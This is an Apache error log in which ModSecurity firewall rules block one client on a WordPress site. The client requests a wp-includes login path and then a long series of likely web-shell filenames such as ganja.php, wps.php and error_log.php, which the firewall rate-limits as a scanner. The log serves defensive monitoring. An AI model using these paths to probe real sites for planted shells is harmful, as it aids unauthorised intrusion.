[Fri May 08 11:39:00.411161 2026] [:error] [pid 61356:tid 61406] [client 172.212.136.43:25932] [client 172.212.136.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "af1a1Ix3vpB8oWhUq2PlUwAAAdI"]
[Fri May 08 11:39:03.494954 2026] [:error] [pid 61355:tid 61362] [client 172.212.136.43:25809] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "af1a1_khJTi30CBXmMknqQAAAYE"]
[Fri May 08 11:39:04.074893 2026] [:error] [pid 51008:tid 51059] [client 172.212.136.43:25911] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "af1a2HB58C2Y1tgLtuJW5AAAAEo"]
[Fri May 08 11:39:04.725107 2026] [:error] [pid 34318:tid 34343] [client 172.212.136.43:25755] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "af1a2Mr3guirgJiKhzCnDwAAARc"]
[Fri May 08 11:39:05.672666 2026] [:error] [pid 51008:tid 51056] [client 172.212.136.43:25900] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "af1a2XB58C2Y1tgLtuJW5QAAAEc"]
[Fri May 08 11:39:06.436866 2026] [:error] [pid 61356:tid 61410] [client 172.212.136.43:25855] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "af1a2ox3vpB8oWhUq2PlXQAAAdY"]
[Fri May 08 11:39:07.533586 2026] [:error] [pid 61356:tid 61403] [client 172.212.136.43:25801] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "af1a24x3vpB8oWhUq2PlXwAAAc8"]
[Fri May 08 11:39:08.430789 2026] [:error] [pid 34318:tid 34320] [client 172.212.136.43:25928] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "af1a3Mr3guirgJiKhzCnEQAAAQA"]
[Fri May 08 11:39:09.011539 2026] [:error] [pid 61355:tid 61366] [client 172.212.136.43:25823] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "af1a3fkhJTi30CBXmMknrwAAAYU"]
[Fri May 08 11:39:10.728984 2026] [:error] [pid 51008:tid 51067] [client 172.212.136.43:25892] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "af1a3nB58C2Y1tgLtuJW5wAAAFI"]
[Fri May 08 11:39:11.725450 2026] [:error] [pid 61355:tid 61365] [client 172.212.136.43:25734] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "af1a3_khJTi30CBXmMknsAAAAYQ"]
[Fri May 08 11:39:12.402125 2026] [:error] [pid 51009:tid 51084] [client 172.212.136.43:25909] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "af1a4OB0GbUWhxgzX9XK6gAAAIg"]
[Fri May 08 11:39:13.291187 2026] [:error] [pid 61355:tid 61382] [client 172.212.136.43:25847] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "af1a4fkhJTi30CBXmMknsQAAAZU"]
[Fri May 08 11:39:13.861195 2026] [:error] [pid 61356:tid 61406] [client 172.212.136.43:25825] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "af1a4Yx3vpB8oWhUq2PlZQAAAdI"]
[Fri May 08 11:39:15.030121 2026] [:error] [pid 61355:tid 61384] [client 172.212.136.43:25907] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "af1a4_khJTi30CBXmMkntAAAAZc"]
[Fri May 08 11:39:16.013713 2026] [:error] [pid 61356:tid 61397] [client 172.212.136.43:25781] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "af1a5Ix3vpB8oWhUq2PlZwAAAck"]
[Fri May 08 11:39:17.031850 2026] [:error] [pid 34318:tid 34341] [client 172.212.136.43:25915] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "af1a5cr3guirgJiKhzCnGgAAARU"]
[Fri May 08 11:39:17.684741 2026] [:error] [pid 51009:tid 51097] [client 172.212.136.43:25816] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "af1a5eB0GbUWhxgzX9XK7wAAAJU"]
[Fri May 08 11:39:18.284337 2026] [:error] [pid 51008:tid 51055] [client 172.212.136.43:25839] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "af1a5nB58C2Y1tgLtuJW8QAAAEY"]
[Fri May 08 11:39:19.038154 2026] [:error] [pid 61355:tid 61375] [client 172.212.136.43:25766] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "af1a5_khJTi30CBXmMknuAAAAY4"]
[Fri May 08 11:39:20.653505 2026] [:error] [pid 51008:tid 51057] [client 172.212.136.43:25814] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "af1a6HB58C2Y1tgLtuJW9AAAAEg"]
[Fri May 08 11:39:21.434582 2026] [:error] [pid 51009:tid 51080] [client 172.212.136.43:25838] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/card.php"] [unique_id "af1a6eB0GbUWhxgzX9XK9wAAAIQ"]
[Fri May 08 11:39:22.361055 2026] [:error] [pid 61317:tid 61343] [client 172.212.136.43:25812] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/card.php"] [unique_id "af1a6s-fFk_CedOCOYtw0gAAAVc"]
[Fri May 08 11:39:23.106818 2026] [:error] [pid 61317:tid 61340] [client 172.212.136.43:25733] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/card.php"] [unique_id "af1a68-fFk_CedOCOYtw0wAAAVQ"]
[Fri May 08 11:39:23.910415 2026] [:error] [pid 34318:tid 34331] [client 172.212.136.43:25964] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/card.php"] [unique_id "af1a68r3guirgJiKhzCnHwAAAQs"]
[Fri May 08 11:39:24.456657 2026] [:error] [pid 61355:tid 61380] [client 172.212.136.43:25890] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "af1a7PkhJTi30CBXmMknvQAAAZM"]
[Fri May 08 11:39:25.102822 2026] [:error] [pid 34318:tid 34332] [client 172.212.136.43:25741] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "af1a7cr3guirgJiKhzCnIAAAAQw"]
[Fri May 08 11:39:25.890727 2026] [:error] [pid 51008:tid 51049] [client 172.212.136.43:25759] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "af1a7XB58C2Y1tgLtuJW9QAAAEA"]
[Fri May 08 11:39:26.625900 2026] [:error] [pid 51009:tid 51092] [client 172.212.136.43:25826] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "af1a7uB0GbUWhxgzX9XK-QAAAJA"]
[Fri May 08 11:39:27.698769 2026] [:error] [pid 51009:tid 51096] [client 172.212.136.43:25830] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "af1a7-B0GbUWhxgzX9XK-gAAAJQ"]
[Fri May 08 11:39:28.765312 2026] [:error] [pid 51008:tid 51065] [client 172.212.136.43:25939] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "af1a8HB58C2Y1tgLtuJW-AAAAFA"]
[Fri May 08 11:39:29.657726 2026] [:error] [pid 51113:tid 51124] [client 172.212.136.43:25747] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "af1a8UQfs7sWtqkpQIdMJwAAAMk"]
[Fri May 08 11:39:31.139658 2026] [:error] [pid 51007:tid 51028] [client 172.212.136.43:25891] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "af1a81MagSGstWKyzzWwHwAAAAY"]
[Fri May 08 11:39:31.837571 2026] [:error] [pid 61356:tid 61388] [client 172.212.136.43:25912] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "af1a84x3vpB8oWhUq2PlbgAAAcA"]
[Fri May 08 11:39:32.419282 2026] [:error] [pid 51009:tid 51076] [client 172.212.136.43:25886] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "af1a9OB0GbUWhxgzX9XK-wAAAIA"]
[Fri May 08 11:39:33.461207 2026] [:error] [pid 51113:tid 51135] [client 172.212.136.43:25775] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "af1a9UQfs7sWtqkpQIdMKgAAANQ"]
[Fri May 08 11:39:34.276331 2026] [:error] [pid 51008:tid 51055] [client 172.212.136.43:25769] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "af1a9nB58C2Y1tgLtuJW_AAAAEY"]
[Fri May 08 11:39:34.924857 2026] [:error] [pid 51008:tid 51071] [client 172.212.136.43:25919] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mar.php"] [unique_id "af1a9nB58C2Y1tgLtuJXAAAAAFY"]
[Fri May 08 11:39:35.924528 2026] [:error] [pid 61355:tid 61363] [client 172.212.136.43:25842] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mar.php"] [unique_id "af1a9_khJTi30CBXmMknwwAAAYI"]
[Fri May 08 11:39:37.239726 2026] [:error] [pid 51007:tid 51022] [client 172.212.136.43:25736] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mar.php"] [unique_id "af1a-VMagSGstWKyzzWwIAAAAAA"]
[Fri May 08 11:39:37.819292 2026] [:error] [pid 61356:tid 61411] [client 172.212.136.43:25901] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mar.php"] [unique_id "af1a-Yx3vpB8oWhUq2PldQAAAdc"]
[Fri May 08 11:39:38.670856 2026] [:error] [pid 51008:tid 51060] [client 172.212.136.43:25802] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "af1a-nB58C2Y1tgLtuJXBgAAAEs"]
[Fri May 08 11:39:39.220922 2026] [:error] [pid 34318:tid 34320] [client 172.212.136.43:25849] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "af1a-8r3guirgJiKhzCnKAAAAQA"]
[Fri May 08 11:39:39.955036 2026] [:error] [pid 61355:tid 61372] [client 172.212.136.43:25819] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "af1a-_khJTi30CBXmMknzgAAAYs"]
[Fri May 08 11:39:41.257085 2026] [:error] [pid 51007:tid 51024] [client 172.212.136.43:25852] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "af1a_VMagSGstWKyzzWwKQAAAAI"]
[Fri May 08 11:39:42.802096 2026] [:error] [pid 61317:tid 61320] [client 172.212.136.43:25754] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "af1a_s-fFk_CedOCOYtw2gAAAUA"]
[Fri May 08 11:39:43.628649 2026] [:error] [pid 61355:tid 61377] [client 172.212.136.43:25735] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "af1a__khJTi30CBXmMkn0wAAAZA"]
[Fri May 08 11:39:44.571612 2026] [:error] [pid 61355:tid 61371] [client 172.212.136.43:25817] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "af1bAPkhJTi30CBXmMkn1QAAAYo"]
[Fri May 08 11:39:45.337641 2026] [:error] [pid 51008:tid 51061] [client 172.212.136.43:25804] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "af1bAXB58C2Y1tgLtuJXCAAAAEw"]
[Fri May 08 11:39:46.341761 2026] [:error] [pid 61356:tid 61392] [client 172.212.136.43:25730] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "af1bAox3vpB8oWhUq2PlnwAAAcQ"]
[Fri May 08 11:39:47.310898 2026] [:error] [pid 61355:tid 61365] [client 172.212.136.43:25763] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "af1bA_khJTi30CBXmMkn2gAAAYQ"]
[Fri May 08 11:39:47.952594 2026] [:error] [pid 61356:tid 61391] [client 172.212.136.43:25844] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "af1bA4x3vpB8oWhUq2PloQAAAcM"]
[Fri May 08 11:39:49.477007 2026] [:error] [pid 61317:tid 61331] [client 172.212.136.43:25738] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "af1bBc-fFk_CedOCOYtw4wAAAUs"]
[Fri May 08 11:39:50.085957 2026] [:error] [pid 61356:tid 61412] [client 172.212.136.43:25807] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "af1bBox3vpB8oWhUq2PlogAAAdg"]
[Fri May 08 11:39:50.820355 2026] [:error] [pid 51008:tid 51054] [client 172.212.136.43:25836] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "af1bBnB58C2Y1tgLtuJXCwAAAEU"]
[Fri May 08 11:39:51.639260 2026] [:error] [pid 51008:tid 51051] [client 172.212.136.43:25603] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "af1bB3B58C2Y1tgLtuJXDAAAAEI"]
